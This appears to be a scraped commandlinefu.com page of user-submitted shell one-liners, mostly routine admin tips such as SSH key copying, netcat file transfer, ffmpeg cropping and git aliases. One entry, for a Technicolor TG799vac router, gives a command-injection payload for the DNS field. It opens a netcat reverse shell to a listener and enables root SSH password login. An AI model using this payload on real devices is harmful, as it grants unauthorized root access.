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Perl One Liner to Generate a Random IP Address
This is sample output - yours may be different.
0

perl -le '$,=".";print map int rand 256,1..4'

depesz · 2011-01-16 16:56:44 3
Join lines split with backslash at the end

Show Sample Output
This is sample output - yours may be different.
```
# tr -d '\\' <<END | tr -d '\n'
Hello \\
world!
END
>> Hello world!

or 

echo 'scale=70; 127/131' | bc | tr -d '\\' | tr -d '\n'
.9694656488549618320610687022900763358778625954198473282442748091603053
```
0

tr -d '\\' | tr -d '\n'

tongrider · 2011-10-13 17:40:02 7
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id

chmod authorized_keys so you don't get "Authentication refused: bad ownership or modes for file /home/user/.ssh/authorized_keys"
This is sample output - yours may be different.
0

cat ~/.ssh/id_rsa.pub | ssh tester@10.2.6.10 "mkdir -p ~/.ssh; cat >> ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys"

unixmonkey37839 · 2012-07-18 04:41:54 12
Change my shell to zsh
This is sample output - yours may be different.
0

sudo usermod -s `which zsh` `whoami`

frankowp · 2012-09-11 21:58:01 8
netcat - send tar archive remotely (sending side)

Tar's up $DIR locally (w/bzip2) and sends remotely to $HOST:$PORT where netcat listens (using openbsd netcat). Start up receiving side command first, then execute this.
This is sample output - yours may be different.
0

tar -cjf - $DIR | nc $HOST $PORT

taintedkernel · 2012-11-13 16:44:26 5
find the number of files, date masked

RU: Найдет число файлов в папке по данной маске в цикле по дням месяца
This is sample output - yours may be different.
0

for i in {1..31}; do ls -1 *${YYYY}${MM}`printf "%02d" $i`* | wc -l; done

Paulus · 2013-07-26 07:08:04 8
Chrome, toggle default CSS style sheet

A very simple command to toggle Chrome?s default style sheet. It uses the test command to see if the "Custom.css.off" file exists, if so, it will become "Custom.css", and if not, "Custom.css" is moved to "Custom.css.off" Thus, swapping. This is accomplished with "&&" and "||"
This is sample output - yours may be different.
0

CSS=$HOME/.config/google-chrome/Default/User\ StyleSheets/Custom.css sh -c 'test -f "$CSS.off" && mv "$CSS.off" "$CSS" || mv "$CSS" "$CSS.off"'

Romero · 2013-10-06 00:38:00 7
Remove .sh file extension for files in current directory

The 'rename' command with the first argument as "'s/\.//'" and the second argument as "" will remove the specified extension from the filenames.
This is sample output - yours may be different.
0

rename 's/\.sh//' ./*

abhikeny · 2014-04-02 16:33:25 6
A function to find a file in the pwd downwards

A simple bash function to the find command. I use this much more than find itself. Show Sample Output
This is sample output - yours may be different.
```
$ fn resume
./Documents/2013/My Resume 2014.pdf
```
0

fn() { find . -iname "*$1*" -print; }

suprjami · 2014-07-15 05:30:59 8
Alias for git merge

Merge remote into local of current branch. Show Sample Output
This is sample output - yours may be different.
```
Merge complete or something.
```
0

alias gm="git merge"

taystack · 2015-02-26 23:42:08 10
Reset the favorite-scopes on the Ubuntu Phone

To fix this bug: https://bugs.launchpad.net/ubuntu/+source/unity8/+bug/1389698
This is sample output - yours may be different.
0

gsettings reset com.canonical.Unity.Dash favorite-scopes

bugmenot · 2016-02-07 17:50:19 12
Check executable shared library usage
This is sample output - yours may be different.
0

ldd `which executable_program`

z3l3man_zn · 2016-08-17 03:49:16 14
crop video using ffmpeg
This is sample output - yours may be different.
0

ffmpeg -i my-demo-video.avi -filter:v "crop=820:750:200:0" -qscale 0 my-demo-video_cropped.avi

ceddi · 2016-10-17 19:03:20 20
Empty a file with better compatibility

Same as `>`, except that the file is truncated to zero length if it exists, even if CLOBBER is unset. This works whatever your shell is and whatever your OS is. The most upvoted answer does not work with ZSH by default. The truncate version does not work on MacOS (and probably others).
This is sample output - yours may be different.
0

:>! filename

_who · 2017-04-21 15:51:01 22
Hacking the Technicolor TG799vac (and unlocking features for openwrt)

Find more info about this hack on my github https://github.com/wuseman/TG799VAC-XTREME-17.2-MINT - Setup a netcat listener 'nc -lvvp 1337' and then from dns field on your technicolor router run the command below and turn dns ON and wait for the magic.. Show Sample Output
This is sample output - yours may be different.
```
https://raw.githubusercontent.com/wuseman/TG799VAC-XTREME-17.2-MINT/master/files/short-version.gif
```
0

::::::;nc 192.168.1.144 1337 -e /bin/sh;rm /etc/dropbear/*;uci set dropbear.lan.PasswordAuth='on';uci set dropbear.lan.RootPasswordAuth='on';uci set dropbear.lan.Interface='lan';uci set dropbear.lan.enable='1';/etc/init.d/dropbear restart; uci commit

wuseman1 · 2018-11-12 02:02:43 340
ifrename

rename a network interface e.g. make eth0 eth1 or vice versa the interface needs to be down -> "/sbin/ifconfig oldname down"
This is sample output - yours may be different.
0

busybox nameif newname $(</sys/class/net/oldname/address)

patrick2000 · 2010-05-15 10:24:57 7
A bash function to show the files most recently modified in the named (or current) directory

Returns the most recently modified file in the current (or specified) directory. You can also get the oldest file, via: ls -t1 $* | tail-1 ;
This is sample output - yours may be different.
0

ls -t1 $* | head -1 ;

darkhorse9933 · 2012-02-10 22:13:24 6
Realtime lines per second in a log file

Realtime lines per second in a log file using python ... identical to perl version, except python is much better :) Show Sample Output
This is sample output - yours may be different.
```
27
49
36
36
29
33
33
32
43
31
40
35
43
39
37
38
28
34
31
48
46
37
35
```
0

tail -F /var/log/nginx/access.log | python -c 'exec("import sys,time\nl=0\ne=int(time.time())\nfor line in sys.stdin:\n\tt = int(time.time())\n\tl += 1\n\tif t > e:\n\t\te = t\n\t\tprint l\n\t\tl = 0")'

pykler · 2012-05-15 21:56:46 4
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id

chmod authorized_keys so you don't get "Authentication refused: bad ownership or modes for file /home/user/.ssh/authorized_keys"
This is sample output - yours may be different.
0

cat ~/.ssh/id_rsa.pub | ssh tester@10.2.6.10 "mkdir -p ~/.ssh; cat >> ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys"

unixmonkey37839 · 2012-07-18 04:41:55 6
server's host key is not cached in the registry
This is sample output - yours may be different.
0

plink -agent gist.github.com

evandrix · 2012-09-12 00:22:39 4
netcat - receive tar archive remotely

Receives bzip'd tar archive via netcat (openbsd nc) and stores locally. Displays size with pv. Start this receiver first, then the sender.
This is sample output - yours may be different.
0

nc -l $PORT | pv -b > archive.tar.bz2

taintedkernel · 2012-11-13 16:47:45 4
change file format at one time
This is sample output - yours may be different.
0

find $(YourPATH) -type f -exec dos2unix '{}' \;

chenhow1985 · 2013-07-26 09:07:35 7
print all available make targets
This is sample output - yours may be different.
0

make --print-data-base --dry-run | awk -F':' '/^[a-zA-Z0-9][^$#\/\t=]*:([^=]|$)/ {split($1,A,/ /);for(i in A)print A[i]}'

grapsus · 2013-10-07 12:39:25 6
List members of a group
This is sample output - yours may be different.
0

dsquery group -samid "Group_SAM_Account_Name" | dsget group -members -expand

shawn_abdushakur · 2014-01-10 15:04:54 6
Check your internet connection by pinging Google
This is sample output - yours may be different.
0

ping -c 3 google.com

nicolasmccurdy · 2014-07-16 02:01:01 8
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commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

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generate 30 x 30 matrix

or $ od /dev/urandom -w60 -An|sed 's/ ..../ /g'|head -n 30 (this one lacks digits 8 and 9)

awk date convert

Convert readable date/time with `date` command

Install the Debian-packaged version of a Perl module

Running 'cpan Module::Name' will install that module from CPAN. This is a simple way of using a similar command to install a packaged Perl module from a Debian archive using apt-get.

A function to find the newest file in a directory

Upgrading packages. Pacman can update all packages on the system with just one command. This could take quite a while depending on how up-to-date the system is. This command can synchronize the repository databases and update the system's packages.

Warning: Instead of immediately updating as soon as updates are available, users must recognize that due to the nature of Arch's rolling release approach, an update may have unforeseen consequences. This means that it is not wise to update if, for example, one is about to deliver an important presentation. Rather, update during free time and be prepared to deal with any problems that may arise. Pacman is a powerful package management tool, but it does not attempt to handle all corner cases. Read The Arch Way if this causes confusion. Users must be vigilant and take responsibility for maintaining their own system. When performing a system update, it is essential that users read all information output by pacman and use common sense. If a user-modified configuration file needs to be upgraded for a new version of a package, a .pacnew file will be created to avoid overwriting settings modified by the user. Pacman will prompt the user to merge them. These files require manual intervention from the user and it is good practice to handle them right after every package upgrade or removal. See Pacnew and Pacsave Files for more info. Tip: Remember that pacman's output is logged in /var/log/pacman.log.

Create a mirror of a local folder, on a remote server

Create a exact mirror of the local folder "/root/files", on remote server 'remote_server' using SSH command (listening on port 22) (all files & folders on destination server/folder will be deleted)

IFS - use entire lines in your for cycles

When you use a "for" construct, it cycles on every word. If you want to cycle on a line-by-line basis (and, well, you can't use xargs -n1 :D), you can set the IFS variable to .

Triple monitoring in screen

This command starts screen with 'htop', 'nethogs' and 'iotop' in split-screen. You have to have these three commands (of course) and specify the interface for nethogs - mine is wlan0, I could have acquired the interface from the default route extending the command but this way is simpler. htop is a wonderful top replacement with many interactive commands and configuration options. nethogs is a program which tells which processes are using the most bandwidth. iotop tells which processes are using the most I/O. The command creates a temporary "screenrc" file which it uses for doing the triple-monitoring. You can see several examples of screenrc files here: http://www.softpanorama.org/Utilities/Screen/screenrc_examples.shtml

How to remove an ISO image from media database

Binary injection

Replace (as opposed to insert) hex opcodes, data, breakpoints, etc. without opening a hex editor. HEXBYTES contains the hex you want to inject in ascii form (e.g. 31c0) OFFSET is the hex offset (e.g. 49cf) into the binary FILE

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